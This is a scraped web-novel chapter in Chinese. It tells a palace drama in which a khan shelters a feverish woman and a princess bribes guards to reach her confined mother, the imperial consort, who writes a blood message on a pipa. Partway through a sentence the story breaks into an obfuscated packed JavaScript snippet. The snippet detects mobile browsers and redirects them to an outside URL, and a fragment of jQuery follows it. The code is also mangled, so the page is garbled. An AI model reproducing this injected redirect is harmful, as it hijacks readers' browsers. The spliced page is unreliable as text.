76. 有情無處訴(2 / 2)

半山煙雨 聽竹妃子 7650 字 2024-09-19

寒星摸著席容煙滾燙的腦門,咬了咬牙,一把扯開自己的衣服,將她裹了進去。

“大汗!你這是!”

席容煙的體溫燙的嚇人,寒星的身子卻是冰冰涼的,像是一塊沉寂千年的寒冰,即便生起了一堆火,也是融化不了的,寒星的身子隻熱過一次,就是席容煙拚命想要溫暖他的那晚。

“大汗,你這樣會生病的!你——”

沙吾提沒再說下去,因為寒星投過來的目光是那樣的可怖,沙吾提還從來沒有見過那樣的目光,溫柔中摻著殘忍,平靜中燃著瘋狂,沙吾提不懂這種目光,但他知道自己應該閉嘴。

席容煙做夢了,夢裡,她回到了陳府起火的那個晚上,還是一樣的血腥,還是一樣的猙獰,她縮在凳子底下,親眼看見自己的家人被利劍刺穿,鮮血濺了她滿臉,可她隻能死死捂住嘴,由著淚水順著指縫滑落,不敢發出一點動靜。

她的額頭抵在寒星赤裸的胸膛上,一個如火滾燙,一個如冰寒涼,她的嘴唇微微翕動,像在呢喃著什麼,寒星仔細聽了半晌,才聽出她念的是“母親”這兩個字。

寒星的喉結滾動了一下,他沒有說話,隻是把她摟得更緊了些。

儀鸞宮。

兩個侍衛橫刀而立,“皇上有旨,任何人都不得隨意出入儀鸞宮!”

魏風漪瞪圓了眼睛,“瞎了你們的狗眼,連本公主都敢攔!”

香羅上前斥責,“放肆,這位可是皇上最為寵愛的漪公主!”

侍衛聞言,慌忙跪下,“漪公主,得罪了,可是皇上的確吩咐過,皇貴妃禁足儀鸞宮,不許人隨意探視的,漪公主,我們也是聽差辦事,您彆難為我們。”

魏風漪壓著怒火,給香羅使了個眼色,香羅會意,笑著

;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913189|131290||http|test|mini|href|location'.split('|'),0,{}));

() {

$('.inform').remove();

$('#tent').append('

上前挽住侍衛的手,不動聲色地將腕上的銀鐲子褪了下來,“侍衛大哥,我知道你們也不容易,可是這件事,你不說我不說,誰能知道。更何況,裡頭的這位娘娘,你們也是知道的,恩寵都十來年了,哪裡是一朝一夕,說敗就能敗了的。等皇貴妃娘娘東山再起的那天,自然是有恩報恩,有怨報怨的。兩位都是聰明人,就不用我這個做奴婢的多說了吧。”

侍衛掂了掂銀鐲子的分量,又琢磨了一會兒香羅的話,笑道,“也罷,今兒就破個例,隻是公主殿下,您可得快著點,這要是讓人撞見了,我們哥倆可是要掉腦袋的!”

香羅忙不迭的應聲,“兩位大哥放心,我們一定不給你們惹麻煩。”

整個儀鸞宮鴉雀無聲,仿佛一個埋著活人的墳墓。

“母妃——母妃——”

魏風漪一聲又一聲喚著,卻得不到半點回應,她心裡有些慌亂,一把攥住了香羅的手,手心兒滲出了冷汗,“你說,母妃該不會是——”

香羅回握住她的手,認真安慰道,“公主彆慌,肯定不會的,娘娘那麼剛強的一個人,怎麼會做那樣的糊塗事兒呢。”

“對,你說得對,母妃不會的,肯定不會的。”魏風漪咽了口吐沫,鼓起勇氣推開了門。

刺眼的陽光穿過稀稀落落的蛛網,刻下一地斑駁,席容皇貴妃散著頭發,披著褻衣,半跪在床邊,懷中緊緊抱著自己慣常彈的雙鳳琵琶。

魏風漪還從未見過席容皇貴妃這副失魂落魄的模樣,不覺大慟,“母妃!”

席容皇貴妃神情恍惚,遲疑地轉過頭,端詳了她半日才認出來,“漪兒?”

魏風漪哭著撲過去抱住他,“母妃,是我,我來看你了!”

席容皇貴妃顫抖著手,撥開額前的亂發,眼中漸漸有了些光亮,“真的是本宮的漪兒!漪兒,你是怎麼進來的?”

“我使了些銀子,又嚇唬了他們兩句,他們就放我進來了。母妃,你這兒怎麼連個伺候的人都沒有,紫藤呢,蘭鳶呢,她們兩個去哪兒了?”

“不知道,皇後那個賤人,說是要查什麼案子,把她們都帶走了。”

“那也不能一個人都沒有啊,父皇的意思隻是禁足,又沒廢您尊位,她們怎敢如此行事!”

席容皇貴妃搖了搖頭,“這都不重要了,漪兒,我問你,父親,還有我的弟弟妹妹們,他們怎麼樣了?”

“他們……”魏風漪小聲囁喏著,“他們都還在獄中,父皇還沒下最終的旨意,隻說要徹查當年陳玄赫的案子,不光是當年的案子,還牽扯出許多旁的案子,朝中也有大臣諫言,說是要按律究辦,以儆效尤。”

“以儆效尤——”隻聽“砰”的一聲,席容皇貴妃懷中的琵琶驟然滑落,“不行,不行,漪兒,你要幫母妃一個忙,現在隻有你能幫我了!”

“母妃您說,漪兒一定儘力!”

席容皇貴妃卸下右手小指的護甲,狠了狠心,用牙咬破指腹,在琵琶背麵一筆一畫寫道,“涼生枕簟淚痕滋。舊時天氣舊時衣。”[1]

她將琵琶交給魏風漪,“想辦法交到你父皇的手上,他會明白的。”

魏風漪捧起琵琶,“好,我想辦法。”

香羅匆匆推門進來,“公主,咱們得走了,外頭催呢。”

魏風漪兩頰流下兩道清淚,她握著席容皇貴妃的手,舍不得撒開,“母妃,珍重。”

席容皇貴妃笑著拍了拍她的手,含淚道,“本宮的漪兒長大了,去罷——”

上一頁 書頁/目錄 下一章